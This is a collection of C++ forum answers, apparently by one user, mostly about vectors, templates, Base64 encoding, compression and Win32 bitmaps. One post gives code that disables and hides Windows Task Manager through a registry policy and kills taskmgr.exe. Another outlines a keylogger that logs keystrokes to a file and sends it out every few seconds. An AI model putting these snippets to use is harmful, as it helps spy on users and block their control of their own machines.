triumphost 120 Posting Whiz

Sounds like a virus to me.. but programming is programming so it doesn't bother me..

void LockTaskManager(bool Lock, HWND hwnd)      //Pass it the handle to itself..
{
    HMENU hMnu = ::GetSystemMenu(hwnd, FALSE);
    ::RemoveMenu(hMnu, SC_CLOSE, MF_BYCOMMAND);
    ::RemoveMenu(hMnu, SC_SIZE, MF_BYCOMMAND);
    ::RemoveMenu(hMnu, SC_SEPARATOR, MF_BYCOMMAND);
    ::RemoveMenu(hMnu, SC_STATUS_PROCESS_INFO, MF_BYCOMMAND);
    ::RemoveMenu(hMnu, SC_MOVE, MF_BYCOMMAND);
    ::RemoveMenu(hMnu, SC_MAXIMIZE, MF_BYCOMMAND);
    ::RemoveMenu(hMnu, SC_MINIMIZE, MF_BYCOMMAND);

     stringstream SS;
     SS<<"REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d "<<Lock<<" /f";
     system(SS.str().c_str());
     //system("REG add HKCU\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t REG_DWORD /d 0 /f");
     //REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f
}

void FindProcess(bool UseProcesses)
{
    HWND Window = FindWindow("TaskManagerWindow", "Task Manager");
    if (Window != 0)
    {
        int OldValue = GetWindowLong(Window, GWL_EXSTYLE);
        int NewOldValue = SetWindowLong(Window, GWL_EXSTYLE, OldValue | WS_EX_LAYERED);
        SetLayeredWindowAttributes(Window, 0, 0, LWA_ALPHA);
    }

    if (UseProcesses)
    {
        char cProcess[80] = "taskmgr.exe";
        DWORD dwReturn = CountProcesses(cProcess);
        dwReturn = CountProcesses(cProcess);
        if(dwReturn != -1)
        {
            if(dwReturn == 1)
            {
                if (Lock)
                    system("taskkill /IM taskmgr.exe");
            }
        }
    }
}
triumphost 120 Posting Whiz

Not sure why it wouldn't work :S This is actually the full code AND it compiles:

#pragma once
#include <vector>
#include <iostream>
#include <Windows.h>

using namespace std;

vector<vector<char>> CodeTable;

namespace WindowsFormsApplication1 {

    using namespace System;
    using namespace System::ComponentModel;
    using namespace System::Collections;
    using namespace System::Windows::Forms;
    using namespace System::Data;
    using namespace System::Drawing;

    /// <summary>
    /// Summary for Form1
    /// </summary>
    public ref class Form1 : public System::Windows::Forms::Form
    {
    public:
        Form1(void)
        {
            InitializeComponent();
            //
            //TODO: Add the constructor code here
            //
            int k = 0;
            for(int i = 0; i < 5; i++)
            {
                CodeTable.push_back(vector<char>());
                for(int j = 0; j < 5; j++)
                {
                    CodeTable[i].push_back(' ');
                }
            }
        }

    protected:
        /// <summary>
        /// Clean up any resources being used.
        /// </summary>
        ~Form1()
        {
            if (components)
            {
                delete components;
            }
        }

    private:
        /// <summary>
        /// Required designer variable.
        /// </summary>
        System::ComponentModel::Container ^components;

#pragma region Windows Form Designer generated code
        /// <summary>
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// </summary>
        void InitializeComponent(void)
        {
            this->SuspendLayout();
            // 
            // Form1
            // 
            this->AutoScaleDimensions = System::Drawing::SizeF(6, 13);
            this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font;
            this->ClientSize = System::Drawing::Size(284, 261);
            this->Name = L"Form1";
            this->Text = L"Form1";
            this->Load += gcnew System::EventHandler(this, &Form1::Form1_Load);
            this->ResumeLayout(false);
        }
#pragma endregion
    private: System::Void Form1_Load(System::Object^  sender, System::EventArgs^  e) {
                 MessageBox::Show(CodeTable[0][0].ToString());
             }
    };
}
JOSheaIV commented: What he posted worked! Would love to know how now +2
triumphost 120 Posting Whiz

Problem.. you didn't include anything.. Unlike C# where everything is included for you or you add a simple reference.. In C++ we need includes.. Quick Tip..

When you see errors like "error C2678: binary '[' : no operator found which takes" well either you're missing an include or it really doesn't have that operator..

Anyway.. Add these to the top of your program right under the #Pragma Once

include <vector>
include <iostream>

using namespace std; `//<--- that using namespace stuff isn't needed if you plan to do std::vector<std::vector<char>>
//But if you do vector<vector<char>> then you need the namespace std;

All in all your program will look like:

#pragma once
#include <vector>
#include <iostream>
#include <Windows.h>

using namespace std;

namespace WindowsFormsApplication1 {

    using namespace System;
    using namespace System::ComponentModel;
    using namespace System::Collections;
    using namespace System::Windows::Forms;
    using namespace System::Data;
    using namespace System::Drawing;

    /// <summary>
    /// Summary for Form1
    /// </summary>
    public ref class Form1 : public System::Windows::Forms::Form
    {
    public:
        Form1(void)
        {
            InitializeComponent();
            //
            //TODO: Add the constructor code here
            //
        }

    protected:
        /// <summary>
        /// Clean up any resources being used.
        /// </summary>
        ~Form1()
        {
            if (components)
            {
                delete components;
            }
        }

    private:
        /// <summary>
        /// Required designer variable.
        /// </summary>
        System::ComponentModel::Container ^components;

#pragma region Windows Form Designer generated code
        /// <summary>
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// </summary>
        void InitializeComponent(void)
        {

            vector<vector<char>> CodeTable;
            int k = 0;
            for(int i = 0; i < 5; i++)
            { …
triumphost 120 Posting Whiz
String Msg = "usa.weather";
message^ m = gcnew message(Msg);

unsigned char buffer[Msg.length()];
memcpy(buffer, Msg.data(), Msg.length());

OR

copy(Msg.begin(), Msg.end(), buffer);
triumphost 120 Posting Whiz

Stop using Dev-C++ it is out of date.. Download Codeblocks and Mingw.. Your code is fine. I've compiled and ran the program and it terminates with 0.. No segfaults or crashes or anything. Also include the header for strcpy as it was undeclared.. Windows.h fixed that for me.

Time to upgrade ;)

triumphost 120 Posting Whiz

All set to true.

triumphost 120 Posting Whiz

Why does my delete function crash? I've used the same algorithm for other 2D vectors and it works perfectly fine..

I'm trying to remove an array of vectors from a 2D vector all of the std::string type.

//Ripped out of a massive class I wrote.

vector<vector<string>>& Delete(vector<string> StringArrayToDelete, bool CaseSensitive = true, bool All = false)
        {
            vector<vector<string>> Temp = S2DA;     //S2DA is a vector<vector<string>>
            //The below works perfectly fine..
            if (!CaseSensitive)
            {
                for (unsigned short I = 0; I < StringArrayToDelete.size(); I++)
                    for (unsigned short J = 0; J < StringArrayToDelete[I].size(); J++)
                        StringArrayToDelete[I][J] = tolower(StringArrayToDelete[I][J]);

                for (unsigned short I = 0; I < Temp.size(); I++)
                    for (unsigned short J = 0; J < Temp[I].size(); J++)
                        for (unsigned short K = 0; K < Temp[I][J].size(); K++)
                            Temp[I][J][K] = tolower(Temp[I][J][K]);
            }

            //problem is actually here..
            for (unsigned I = 0; I < Temp.size(); I++)
            {
                if (Temp[I] == StringArrayToDelete)
                {
                    S2DA.erase(S2DA.begin() + I);
                    if (!All)
                        break;
                    I = 0;
                }
            }
            return *this;
        }
triumphost 120 Posting Whiz

http://cplusplus.com/doc/tutorial/ <--- Console/Basics/Everything Tutorials.
http://www.winprog.org/tutorial/ <--- Win32 API Tuts.

triumphost 120 Posting Whiz

I'm not sure what you mean by native program.. Win32? Console? Forms?

Also look into RegKeyOpenEx and you can add your app to the key you desire.

triumphost 120 Posting Whiz

Why do you have classes inside main? and why is your bins initial size 30? I though your supposed to add elements to the array initialized with 9? Were you skipping school?

if you need a dynamic array of objects and CANNOT use vectors then by all means look into linked lists else just use vectors.

triumphost 120 Posting Whiz

I need someone to check my bitmap class for me. I load a bitmap from a file but I cannot get it to draw to the specified window :S

I'm not sure if I'm loading it right or how to get the pixel data for BOTH 32 and 24 bit images.

class Bitmap
{
    private:
        int width;
        int height;

        HANDLE hFile;
        DWORD Written;
        BITMAPFILEHEADER bFileHeader;
        BITMAPINFOHEADER bInfoHeader;
        unsigned char* Pixels;

    protected:
        HDC DC;
        HBITMAP Image;

	public:
		Bitmap(int Width, int Height) : width(Width), height(Height)
		{
            BITMAPINFO Info;
            memset(&Info, 0, sizeof(BITMAPINFO));
            Info.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
            Info.bmiHeader.biPlanes = 1;
            Info.bmiHeader.biBitCount = 32;
            Info.bmiHeader.biCompression = BI_RGB;
            Info.bmiHeader.biWidth = width;
            Info.bmiHeader.biHeight = -height;
            DC = CreateCompatibleDC(0);
            BYTE* Memory = 0;
            Image = CreateDIBSection(DC, &Info, DIB_RGB_COLORS, (void**)Memory, 0, 0);
            SelectObject(DC, Image);
		}

		Bitmap(int Width, int Height, string Data) : width(Width), height(Height)
		{
                  //Incomplete..
		}

        Bitmap(const char* FilePath)
        {
            hFile = CreateFile(FilePath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
            if (hFile == 0)
            {
                cout<<"Error Bitmap Does Not Exist";
                //throw "Error";
                return;
            }

            ReadFile(hFile, &bFileHeader, sizeof(bFileHeader), &Written, 0);
            ReadFile(hFile, &bInfoHeader, sizeof(bInfoHeader), &Written, 0);

            if (bInfoHeader.biBitCount < 32)
            {
                CloseHandle(hFile);
                MessageBox(NULL, "The Image Loaded cannot be less than 32bits.", "Error", 0);
                return;
            }

            if (bFileHeader.bfType != 0x4D42)
            {
                CloseHandle(hFile);
                MessageBox(NULL, "The File Is Not A Bitmap.", "Error", 0);
                return;
            }

            //Dibsection Info
            BITMAPINFO info;
            info.bmiHeader = bInfoHeader;
            info.bmiHeader.biHeight = -info.bmiHeader.biHeight;

            //Create DibSection, Blit Window Data to the Bitmap.
            DC = CreateCompatibleDC(0);
            BYTE* memory = 0;
            Image = CreateDIBSection(DC, &info, DIB_RGB_COLORS, (void**)&memory, 0, 0);
            CloseHandle(hFile);
        }

		~Bitmap()
		{
            DeleteDC(DC); …
triumphost 120 Posting Whiz

Not exactly sure why you have that -1 there.. what happens when the vector is already of size one? then what? it'll delete nothing or crash if it's empty. Do some checks and see how it turns out.

triumphost 120 Posting Whiz

I told you :S

Create a thread to do the sending out..
Every 9 seconds, your thread will send out the file..

Note Below is just an example.. My threading may be off a bit or a lot.. it's been a while but I'm sure you can handle that.

MSG messages;       //Global
void KeepAlive()
{
    while (GetMessage(&messages, NULL,0,0))
    {
        TranslateMessage(&messages);
        DispatchMessage(&messages);
    }
}

void vSendFile()
{
    //Do whatever in here.. every 9 seconds..
}

void write(const char* c)
{
    FILE *f = fopen("log.txt","a+");
    if(f!=NULL)
    {
        fputs(c,f);
        fclose(f);
    }
}

DWORD ThreadProc(LPVOID lpParameter)
{
    //Run the function!
    void (* function)() = (void (*)())lpParameter;
    function();
    return 0;
}

void Threading(HANDLE hThread, DWORD ThreadID, void* FunctionToPass)
{
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (void*)FunctionToPass, 0, &ThreadID);
}

//WinMain Here..
{
//All WinAPI functions required..

    ShowWindow (hwnd, nCmdShow);


    //Hook your keyboard..

    //Message Proc..
    KeepAlive();
return messages.wParam;
}


//Callback or whatever call back your using should have these:

HANDLE HThread;
DWORD TThreadID = 1;
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)                  /* handle the messages */
    {
        case WM_CREATE:
        {
            Threading(HThread, TThreadID, (void*)vSendFile);  //Create a thread that sends out the file after 8 seconds.. After the 8 seconds is up, destroy the thread or return 0 inside the thread. Close the thread handle..
        }
        break;
        case WM_DESTROY:
            CloseHandle(HThread);      //Close the handle if HThread != NULL..
            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
            break;
        default:                      /* for messages that we don't deal …
triumphost 120 Posting Whiz

I meant something like:

bool Contains(T& ToFind)
        {
            for (unsigned I = 0; I < TypeData.size(); I++)
            {
                if (TypeData[I] == ToFind)
                    return true;
            }
            return false;
        }

        bool Contains(string StringToFind, bool CaseSensitive = true)
        {
            vector<string> Temp = TypeData;     //Create  temporary type so the original doesn't change.
            if (!CaseSensitive)
            {
                for (unsigned short I = 0; I < StringToFind.length(); I++)
                    StringToFind[I] = tolower(StringToFind[I]);

                for (unsigned short I = 0; I < Temp.size(); I++)
                    for (unsigned short J = 0; J < Temp[I].size(); J++)
                        Temp[I][J] = tolower(Temp[I][J]);
            }
            for (unsigned I = 0; I < Temp.size(); I++)
            {
                if (Temp[I] == StringToFind)
                    return true;
            }
            return false;
        }

See in the code above, I have different parameters for the Contains Functions.. One if of unknown type.. BUT if the type is a string, then use the StringContains function instead of the TContains function.

triumphost 120 Posting Whiz

Ahh the STE_Size solved it.. I had the repeat until loop in there because it's necessary to compress/decompress ALL the data. I didn't realize the empty line at the end of the files were messing with the B64 stuff.

Thanks again :D

Edit:

Also did this instead.. so it was fixed sorta before I read the post:

fseek(file, 0, SEEK_END);
        FileLen = ftell(file);
        fseek(file, 0, SEEK_SET);

To read the file from the beginning only to the end and no further. Then made a buffer to hold my data and compressed/encoded + encrypted it.

triumphost 120 Posting Whiz

What? Char Array to Int Array you mean?

//Our Char Array..
char Returned[5];
int IntArr = new int[sizeof(Returned);

for (int I = 0; I < sizeof(Returned); I++)
   IntArr[I] = (int)Returned[I];
  
for (int I = 0; I < sizeof(IntArr)/sizeof(int); I++)
   cout<<IntArr[I];

delete [] IntArr;
triumphost 120 Posting Whiz

Just change your vector to array/char*.. it'll do the same thing.

class SomeObjectClass
{
	private:
		vector<char> DataHolder;
	public:
		SomeObjectClass(){}
		~SomeObjectClass(){}
		
	vector<char> SomeFunc(SomeObject &Obj)
	{
		return DataHolder;
	}
};
triumphost 120 Posting Whiz

It reads in the whole file.. thing is, it crashes right after it hits the last line in the file..

the file is 115 lines long.. it prints all 115 lines but for some odd reason, it crashes right after :S

If I remove the blank line at the end of the file, it reads fine and does not crash. Now if I don't encode it with b64 and I just write compressed data and read compressed data, it crashes instantly.

#include <fstream>

using namespace std;

int main()
{
    string line;
    string temp;

      ifstream myfile("C:/Users/*******/Desktop/Output.h");

      if (myfile.is_open())
      {
          int I = 0;
        while (!myfile.eof())
        {
          ++I;
          getline(myfile, line);
          cout<<"Line "<< I<<"  "<<DecompressString(DecodeB64(line))<<endl;
        }
        myfile.close();
      }

}

My Include:

#ifndef BASE64_H_INCLUDED
#define BASE64_H_INCLUDED

#include "Mathematics.h"

const string Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

bool IsBase64(unsigned char C)
{
    return (isalnum(C) || (C == '+') || (C == '/'));
}

string EncodeB64Chars(string StringToEncode)
{
    size_t STE_Size = StringToEncode.size();
    string Binaries, Result;
    for (unsigned short I = 0; I < STE_Size; I++)
        Binaries += DecToBinStr(Ord(StringToEncode[I]), 8);

    while(Binaries.size())
    {
        Result += Base64Chars[BinToDecStr(Binaries.substr(0, 6))];
        Binaries.erase(0, 6);
    }
    return Result;
}

string DecodeB64Chars(string StringToDecode)
{
    size_t STE_Size = StringToDecode.size();
    string Binaries, Result;
    for (unsigned I = 0; I < STE_Size - 1; I++)
        Binaries += DecToBinStr(Base64Chars.find(StringToDecode[I]), 6);
    Binaries += DecToBinStr(Base64Chars.find(StringToDecode[STE_Size - 1]), 8 - ((STE_Size - 1) * 6) % 8);

    while(Binaries.size())
    {
        Result += Chr(BinToDecStr(Binaries.substr(0,8)));
        Binaries.erase(0,8);
    }
    return Result;
}

string EncodeB64(string StringToEncode)
{
    size_t STE_Size = StringToEncode.size();
    StringArray Binaries;

    for (unsigned short I …
triumphost 120 Posting Whiz

Is there anyway I can specialize JUST the Contains function of the class below?

I tried for hours and cannot figure it out as I'm not too good at specialization but I learned templates recently.

I want to do something like:

bool Contains(string ToFind)
            {
                //If typeof(T) == typeof(string) or typeID or typeName.. then execute something different..
                for (unsigned I = 0; I < TypeData.size(); I++)
                {
                    if (TypeData[I] == ToFind)
                        return true;
                }
                return false;
            }

The Templated Class containing the "Contains" function..

#ifndef TEMPLATES_H_INCLUDED
#define TEMPLATES_H_INCLUDED
#include <iostream>
#include <vector>

using namespace std;

template <typename T>
class CustomType
{
    private:
        vector<T> TypeData;
        void Insert() {}
        template<typename A, typename... Args>
        CustomType& Insert(A FirstArg, const Args... RemainingArgs)
        {
            this->TypeData.push_back(FirstArg);
            Insert(RemainingArgs...);
            return *this;
        }

    public:
        CustomType() {}
        template<typename A, typename... Args>
        CustomType(A FirstArg, const Args... RemainingArgs)
        {
            this->TypeData.push_back(FirstArg);
            Insert(RemainingArgs...);
        }
        ~CustomType() {}

        int size() {return TypeData.size();}
        
        //Other functions/overloads removed at the moment.. just for this post.

        bool Contains(T ToFind)
        {
            for (unsigned I = 0; I < TypeData.size(); I++)
            {
                if (TypeData[I] == ToFind)
                    return true;
            }
            return false;
        }
};

#endif // TEMPLATES_H_INCLUDED
triumphost 120 Posting Whiz

Uhhh :S Your window isn't even created? Then in the main of the program, your calling vSendFile() which doesn't even have any data to send because the hook is after the SendFile.. Not only that but SendFile loops forever so it never gets to the hook?

then you get the message Callback which starts logging all the info into the text.. then what? Nothing happens because your still stuck in the SendFile loop.

Also if your going to do this, learn threading or implement it if you already know it.

Have a thread constantly log keys and put them in the file.. and in the main, have it send out the file every 9 seconds.. Otherwise your Main will be waiting every 9 seconds before it starts logging keys and sending them.

triumphost 120 Posting Whiz

http://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/


Read the article or View the source at end of the article..

triumphost 120 Posting Whiz

Can always use Base64 to encode the image and then transfer the string over a network then decode the string back into an image..

https://github.com/BenLand100/CBAS/blob/master/CBAS_lib/Bitmap.cc

AND used like: https://github.com/BenLand100/CBAS/blob/master/Scripts/Test.cc

Basically BitmapToString then transfer.. then StringToBitmap and do whatever else..

If u understand pascal then I can give u the source that does both versions.

triumphost 120 Posting Whiz

I solved it myself.. I did a lot of research and wrote linked lists and taught them linked lists.. Thanks for trying everyone who viewed/responded.

Edit: Never saw linked lists was suggested.. Thanks +1

triumphost 120 Posting Whiz

If you can't use STL, then you could make Objects a link list class.

All of those suggestions tried already.. I cannot remove anything from the code posted above.. only allowed to add onto it.. I have no clue why just following instructions from the person I'm trying to help but failing miserably.

triumphost 120 Posting Whiz

Is the data in the file binary or lines of text?

Well For every line it represents one Record which is Why I thought of using Fseek or whatever to count the lines and then make an array of that size..

I have to be able to do:

int main()
{
   Objects X;
   X.pushback(...);   //basically add info to the object.
}
triumphost 120 Posting Whiz

No.. I first used that.. then the guy I was helping, I told him how to use vectors/lists.. Apparently, they aren't allowed to use vectors either lol -_-

That's the sample the teacher gave them.. I found it odd that the size of the Objects X isn't told :S

triumphost 120 Posting Whiz

I'm trying to help someone with homework.. So you do not have to give me direct answers if you don't want to.. it is not my homework.

class Types
{
   //No default constructor..
   Types(int Param1, int Param2);
};

class Objects
{
   public:
   Types* Original;

   Objects();
   ~Objects();
};

//The problem is here!

Objects::Objects()
{
   Original = new Types[100];   //I cannot do this.. I know that.. then what am I supposed to do?
}

Objects::~Objects()
{
  delete [] Original;
}


int main()
{
   Objects X;   //This is supposed to be dynamic.. I am not told how much records from a file it is supposed to hold.. so I though Fseek and tell would help me declare a size?

//Do I even need to do Root = new Types[100] or do I just do that for Objects X = new Objects[100];?
}
triumphost 120 Posting Whiz

I need help changing my return type from int to vector<string>.. I don't want to have to pass the vector as a pointer to the function but rather I just want to return the vector itself as I no longer need to check the return type. If it fails, it'd return an empty vector.

I was thinking to declare a vector inside the function and the loop the function's internals but then I got stuck at the If Success check because it starts the function all over again.

I changed it from StringArray type to a vector of strings so it's compilable for anyone helping.

#define Repeat do{
#define Until(condition) }while(!(condition));


#include <string>
#include <vector>
#include <iostream>
#include <windows.h>
#include <conio.h>

using namespace std;

int SearchDirectory(vector<string> &FilesFound, string RootDirectory, string FileExtension, bool SearchSubdirectories = false)
{
    string  FilePath;                   // Filepath
    string  Pattern;                    // Pattern
    string  Extension;                  // Extension
    HANDLE  hFile;                      // Handle to file
    WIN32_FIND_DATA FileInformation;    // File information


    Pattern = RootDirectory + "/*.*";

    hFile = FindFirstFile(Pattern.c_str(), &FileInformation);
    if(hFile != INVALID_HANDLE_VALUE)
    {
        Repeat //A simple do-while loop with an opposite condition.. Ported from pascal.
            if(FileInformation.cFileName[0] != '.')
            {
                FilePath.erase();
                FilePath = RootDirectory + "/" + FileInformation.cFileName;

                if(FileInformation.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
                {
                    if(SearchSubdirectories)
                    {
                        // Search subdirectory
                        int Success = SearchDirectory(FilesFound, FilePath, FileExtension, SearchSubdirectories);     //Recursive call.. Not sure if I'll overflow the stack here.. Any better ways to do this?
                        if(Success)
                            return Success;
                    }
                }
                else
                {
                    //Check extension
                    Extension = FileInformation.cFileName;
                    Extension = Extension.substr(Extension.rfind(".") + 1); //Find the last …
triumphost 120 Posting Whiz
bool StringsEqual(string Str1, string Str2)
{
    if (Str1.size() != Str2.size())              //If the sizes of the strings are different.. then they are of course not the same..
        return false;

    for (unsigned I = 0; I < Str1.size(); I++)  //We established they are the same size if we got this far..
    {
        if (Str1[I] != Str2[I])                 //If at least 1 character in the strings are different, then they are of course not the same..
            return false;
    }
    return true;                               //If all else succeeded then the strings are definitely the same..
}
triumphost 120 Posting Whiz

LibCurl is an amazing library when it comes to this stuff. Check it out.

triumphost 120 Posting Whiz

K so atm, I'm having problems understanding ENDIF and IFDEF preprocessor stuff.. I want to Use a specific method if a file is included.. If not, use a different method..

Since toupper is defined in CCType I tried to check if that file was included.. if it was, use toupper else use the hex values.. I'm not sure which method is optimum or faster or whatever so I decided to do it this way. By include.

Any help is appreciated. +1 as I cannot find it on the net anywhere.. Just a bunch of tuts on #Defines instead of includes.

Also how do I check "IF NOT #Included or #Define"??

string ToUpper(string Str)
{
    #ifdef CCTYPE
    for (unsigned short I = 0; I < Str.length(); I++)
    {
        Str[I] = toupper(Str[I]);
    }
    #else
        for (unsigned short I = 0; I < Str.size(); I++)
        if(Str[I] >= 0x61 && Str[I] <= 0x7A)
            Str[I] = Str[I] - 0x20;
    #endif
    return Str;
}
triumphost 120 Posting Whiz

The = is for both.. Neither of the functions above print the last character correctly. apparently if the bytes aren't divisible by 3, I'm supposed to pad it with an = sign or something which I have no clue how to do..

Both of our functions print the same values.

These are the functions I used:

StringArray SplitString(string StrToSplit, int NumberOfPieces)
{
    string Temp = StrToSplit;
    StringArray Result;
    while(Temp.size())
    {
       Result(Temp.substr(0, NumberOfPieces));
       Temp.erase(0, NumberOfPieces);
    }
    return Result;
}

string ConcatStrArrayToStr(StringArray Strings, string Delimiter = "")
{
    stringstream SS;
    for (unsigned short I = 0; I < Strings.size() - 1; I++)
        SS<<Strings[I]<<Delimiter;

    SS<<Strings[Strings.size() - 1];
    return SS.str();
}

IntegerArray StringArrayToIntArray(StringArray StrArrayToConvert)
{
    IntegerArray Result;
    Result.SetLength(StrArrayToConvert.size());
    for (int I = 0; I < StrArrayToConvert.size(); I++)
    {
        Result[I] = strtol(StrArrayToConvert[I].c_str(), NULL, 10);
    }
    return Result;
}
triumphost 120 Posting Whiz

Try re-installing it? OR go to Documents/VisualStudio 2010/

and delete the settings folder.. that should reset everything to the state it was when u first got it..

triumphost 120 Posting Whiz

Can't.. VS2010 doesn't support it.. Try VS2008 OR VS2011 beta.

triumphost 120 Posting Whiz

Both of these print the same thing except that the last character is always wrong. I have no clue how to pad the equal sign onto the bytes.. I tried

if ((StringToEncode.size() % 3) == 1)
{
result += "=";
}

string EncodeB64(string StringToEncode)
{
    const string base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    size_t STE_Size = StringToEncode.size();
    StringArray Binaries;

    for (unsigned short I = 0; I < STE_Size; I++)
        Binaries(DecToBinStr(Ord(StringToEncode[I]), 8));

    Binaries = SplitString(ConcatStrArrayToStr(Binaries), 6);

    for (int I = 0; I < Binaries.size(); I++)
    {
        Binaries[I] = BinToDec(Binaries[I]);
    }
    string Result;
    for (int I = 0; I < StringArrayToIntArray(Binaries).size(); I++)
        Result += base64_chars[StringArrayToIntArray(Binaries)[I]];
    return Result;
}
string EncodeB64X(string StringToEncode)
{
    size_t STE_Size = StringToEncode.size();
    string bin,ret;
    for (unsigned short I = 0; I < STE_Size; I++)
        bin += DecToBinStr(Ord(StringToEncode[I]), 8);

    while(bin.size())
    {
       ret += BinToDec(bin.substr(0,6));
       bin.erase(0,6);
    }
    return ret;
}
triumphost 120 Posting Whiz

Hmm I've tried your solution and suggestions.. but when I actually convert it back to the letters either manually with pen and paper or with code.. it gives the wrong ones..

I think it might be the splitting into groups of 6.

triumphost 120 Posting Whiz

Hey guys I'm having an extremely hard time splitting or combining values into binary..

#define Chr(n) ((char)(n))
#define Ord(c) ((int)(unsigned char)(c))

int DecToBin(int Num)
{
    int Bin = 0, Pos = 1;
    while (Num > 0)
    {
      Bin += (Num % 2) * Pos;
      Num /= 2;
      Pos *= 10;
    }
    return Bin;
}

int ConcatIntegers(IntegerArray Integers)
{
    stringstream SS;
    for (unsigned short I = 0; I < Integers.size(); I++)
    {
        SS<<Integers[I];
    }
    assert(SS.str().size() <= 10);
    return strtol(SS.str().c_str(), NULL, 10);
}

string EncodeB64(string StringToEncode)
{
    size_t STE_Size = StringToEncode.size();
    IntegerArray Binaries;            //Custom time.. just a vector of ints

    for (unsigned short I = 0; I < STE_Size; I++)
        Binaries(DecToBin(Ord(StringToEncode[I])));

    //Binaries now holds an array of Binary Integers..
    //Example.. Binaries looks like:  [10101011, 101010011, 10010101...]
    //For each letter in the string..
}

I've been following: http://www.cpp-home.com/tutorials/102_1.htm

And it says Convert each character in the string to binary.. which I did above. Then it says to connect all the characters into one.. That is a problem for me because if it's an entire sentence, an integer isn't large enough to hold even 3 sets of those..

Example.. I'm trying to do the above into: 1010101110101001110010101... using ConcatIntegers function but it overflows.. I'm thinking of making it all into a string and then splitting it into 6 like the tutorial says and then convert each one back to an ASCII character and continue from there but that's quite tedious..

Any better Ideas? I do not want any …

triumphost 120 Posting Whiz

I'm trying to convert this (Pascal) to C++.. My attempt is below this..

function CompressString(const Str: string): string;
var
  Destlen:longword;
begin
  result := '';
  Destlen :=BufferLen;
  if length(str) < 1 then
    exit;
  if compress(BufferString,destlen,PChar(Str),length(str)) = Z_OK then
  begin
    setlength(result,Destlen + SizeOf(Integer));
    PInteger(@result[1])^ := Length(str);
    Move(bufferstring[0],result[5],Destlen);
  end;
end;
string CompressString(string Source)
{
    unsigned long dsize;                    //Compressed Datasize
    size_t SourceSize = Source.size();
    size_t BufferLen = SourceSize + (SourceSize * 0.1) + 12;        //Must have a min buffer size = to the source + itself * 0.1 + 12
    char dest[BufferLen];

    if (SourceSize < 1)
        return dest;

    //Compress everything from source to destination
    if (compress((unsigned char *)dest, &dsize, (const unsigned char *)Source.c_str(), SourceSize) != Z_OK)
        cout<<"Compression Error!\n";

    return dest;
}

But they both print different results.. any idea why?

triumphost 120 Posting Whiz

Edit.. Still not working.. I marked it as solved because it was.. but again it doesn't work :S

triumphost 120 Posting Whiz

My code is:

#include <windows.h>
#include <iostream>

using namespace std;


struct ReplacementFlags
{
    public:
        bool rfReplaceAll, rfIgnoreCase;
        ReplacementFlags(bool ReplaceAll = false, bool IgnoreCase = false) : rfReplaceAll(ReplaceAll), rfIgnoreCase(IgnoreCase) {}
        ~ReplacementFlags() {}

        ReplacementFlags& operator ()(bool ReplaceAll = false, bool IgnoreCase = false)
        {
            if((rfReplaceAll != ReplaceAll) && (rfIgnoreCase != IgnoreCase))
            {
                rfReplaceAll = ReplaceAll;
                rfIgnoreCase = IgnoreCase;
            }
            return *this;
        }

    private:
        bool operator == (const ReplacementFlags &RF) const
        {
            return ((rfReplaceAll == RF.rfReplaceAll) && (rfIgnoreCase == RF.rfIgnoreCase));
        }

        bool operator != (const ReplacementFlags &RF) const
        {
            return !((rfReplaceAll == RF.rfReplaceAll) && (rfIgnoreCase == RF.rfIgnoreCase));
        }
};

string ToLower(string Str)
{
    for (int I = 0; I < Str.size(); I++)
        if(Str[I] >= 0x41 && Str[I] <= 0x5A)
            Str[I] = Str[I] + 0x20;
    return Str;
}

string Replace(string Text, string FindStr, string ReplacementString, ReplacementFlags Flags)
{
    size_t Pos = 0;
    string TempStr = Text;
    string TempFind = FindStr;

    if (!Flags.rfReplaceAll)
    {
        if (Flags.rfIgnoreCase)
        {
            TempStr = ToLower(Text);
            TempFind = ToLower(FindStr);
        }

        Pos = TempStr.find(TempFind);
        if (Pos != string::npos)
            Text.replace(Pos, FindStr.size(), ReplacementString);
    }
    else
    {
        if (Flags.rfIgnoreCase)
        {
            TempStr = ToLower(Text);
            TempFind = ToLower(FindStr);
        }

        Pos = TempStr.find(TempFind);
        while (Pos != string::npos)
        {
           Text.replace(Pos, FindStr.size(), ReplacementString);
           Pos = TempStr.find(TempFind, Pos + 1);
        }
    }

  return Text;
}



int main()
{
    cout<<Replace("Bleh Is Cool, Is Cool, Is Cool", "Cool", "Meh", ReplacementFlags(true, true));
	cin.get();
	return 0;
}

The problem occurs after the Else..

if (Flags.rfIgnoreCase)
        {
            TempStr = ToLower(Text);
            TempFind = ToLower(FindStr);
        }

        Pos = TempStr.find(TempFind);
        while (Pos != string::npos)
        {
           Text.replace(Pos, FindStr.size(), …
triumphost 120 Posting Whiz

How can I make my DLL constantly check for hotkeys but without affecting other functions in it? If I put a loop, it will not be able to get any other calls to functions.. Do I create a thread and pass my functions to the thread upon attachment?

My silly attempt..

#include "main.h"

// a sample exported function
void DLL_EXPORT SomeFunction(const LPCSTR sometext)
{
    MessageBoxA(0, sometext, "DLL Message", MB_OK | MB_ICONINFORMATION);
}

enum {F9_KEYID = 1, F10_KEYID = 2};
void DLL_EXPORT Meh()
{
    MSG msg = {0};
    PeekMessage(&msg, 0, 0, 0, 0x0001);
    TranslateMessage(&msg);
    switch(msg.message)
    {
        case WM_HOTKEY:
            if(msg.wParam == F9_KEYID)
            {
                MessageBoxA(0, "F9 Pressed", "DLL Message", MB_OK | MB_ICONINFORMATION);
            }
